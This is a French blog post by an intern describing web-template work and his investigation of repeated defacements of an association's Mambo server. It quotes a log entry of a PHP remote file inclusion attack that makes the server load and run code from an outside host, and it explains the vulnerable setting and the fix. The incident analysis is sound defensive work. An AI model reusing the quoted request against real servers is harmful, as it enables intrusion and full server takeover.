Wadih à Communautique

mercredi, août 02, 2006

Le stage: mise en contexte

Mon stage à communautique a commencé il y a maintenant 3 semaines. Mes premières tâches consistaient à générer des templates compatibles avec Mambo à partir de belles images PhotoShop que notre graphiste a crées. C'était la première fois que je travaillais sur le CMS Mambo, mais après la belle introduction que Karima m'a donnée, j'ai compris l'essence rapidement.

D'un point de vue plus technique, j'ai du utiliser du HTML, du CSS et du découpage PhotoShop pour créer la nouvelle interface Mambo. Étant donnée que ce sont des tâches que je fais déjà pour ma business personnelle (www.creationmw.com), la génération de templates fut assez aisée.

Voici la première template que j'ai intégrée: www.fqccl.org/hebergement

Par la suite, j'ai continué à explorer le logiciel libre Mambo et également sa programmation en PHP, et la base de données SQL.

Les défaçages (piratages) du site

Pendant que je travaillais, le serveur fut victime de plusieurs attaques de "défaçage" (defacement en anglais). Un défaçage signifie que quelqu'un a pénétré sur le serveur et a laissé sa signature sur la page principale, afin de montrer que le site s'est fait piraté. Généralement, ce sont des robots automatisés qui naviguent sur internet en essayant de trouver des portes d'entrées prédéterminées sur les serveurs.

Ma première réaction fut d'aller analyser les logs du serveur, mais on m'a dit que c'était pas la première fois et qu'on pouvait réparer ça en remplaçant le fichier affecté. Cette technique sauve beaucoup de temps, qui est une ressource prioritaire dans le monde professionnel, mais seulement jusqu'au prochain défaçage bien entendu.

Un article sur la sécurité informatique que j'ai lu il y a quelques temps parlait de l'approche "réparation rapide" des défaçage que beaucoup d'administrateurs web adoptent. Son avantage est qu'elle sauve beaucoup de temps, en effet, mais son désavantage est qu'elle ne répare pas la cause du problème, mais plutôt cache ses conséquences.

Finalement, nous n'avons pas enquêté sur les détails du premier défaçage, mais quand le second est arrivé, j'ai insisté pour voir les logs du serveur, et Karima était partante. Ce n'est pas normal que des défacage arrivent fréquemment, et peut-être que la sécurité du serveur en entier a été compromise. En matière de logiciels informatique, la sécurité n'est pas un luxe, mais une nécessité.

Détails techniques de l'intrusion

En analysant les logs via la console SSH de Karima, j'ai repéré la première requête frauduleuse sur le serveur:

85.104.*.* [27/Jul/2006:14:28:15 -0400]
"GET /components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?
mosConfig_live_site=http://hackeramca.tripod.com/somefilename.txt?
HTTP/1.1" 200 4083 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 2 www.fqccl.org


Vulgarisation: Qu'est-ce que cela veut dire? Que quelqu'un, robot ou humain, a attaqué l'interface d'administration d'un module externe de Mambo (Active 6 Mambo HelpDesk) qui visiblement, avait une vulnérabilité. L'ordinateur pirate utilisait Windows XP, et le fureteur s'identifiait comme étant Internet Explorer 6.05. Cette attaque lui a permis d'exécuter localement du code distant, qui résidait sur hackeramca.tripod.com, et qui lui offrait une chaleureuse interface de piratage.

Après avoir reproduit ce que le pirate a fait, j'ai pu voir son interface de contrôle sur mon écran [screnshots disponibles plus bas!]. Il avait un vaste spectre de pouvoirs sur notre serveur: il aurait pu effacer tous les sites que la FQCCL hébergeait, avait accès total aux bases de données, et pouvait envoyer des fichiers au serveur et les exécuter. Mais au lieu de faire ça, l'intrus s'est montré altruiste et a simplement laissé sa signature pour avertir le webmestre que son serveur contenais une faille de sécurité.

Après analyse du fichier vulnérable, j'ai déterminé que le succès de l'attaque reposait sur deux choses:
  1. Le serveur avait registers_global sur On dans le fichier php.ini
  2. Le fichier admin.a6_mambohelpdesk.php faisait un include sur une variable ré-initializable (mosConfig_live_site).
Une fois la cause trouvée, nous procédâmes à la réparation de ce fichier, et de ses nombreuses copies à travers l'arborescence du site. Voici des screenshots de la console de contrôle:




Après une petite recherche sur Google de "Physical for aniden" team, on trouve leur logo sur une autre machine qui a été défacée assez longtemps pour être indexée sur Google:




Nouvelles tâches

Cette expérience de piratage de serveur fut intéressante. Karima aussi l'apprécia et me dit que le stage était plus excitant cet été! Mes nouvelles tâches consisterons à rechercher d'autres trous de sécurité dans les composantes externes Mambo que nous utilisons, et de les réparer. Aussi, je vais commencer à travailler avec Rachid sur le support multi-langues de leurs logiciel Giocom, un logiciel de gestion d'organisme communautaire libre.

Un démo du logiciel réside sur: www.giocom.info/demo

Je vais également commencer à faire des présentations aux clients, et des démonstrations assistées de ce logiciel. Une grosse semaine en perspective.

Merci de lire mon Blog, et j'espère que vous l'avez trouvé intéressant!
Les commentaires sont bienvenus.

2 Comments:

  • Heyyyy waddup Wad, nice blog man, cant wait to see what happens next.

    By Anonymous Slacker, at 3:22 p.m.  

  • J'en suis bouche bé...
    Cette analyse-recherche est tout à fait impressionante et mérite toutes mes félicitations.
    Je suis vraiment fier de travailler avec toi.
    Je me sens vraiment gâté d'être entouré d'une aussi belle équipe.
    Bravo Wadih !!

    By Anonymous Normand, at 10:09 p.m.  

Publier un commentaire

<< Home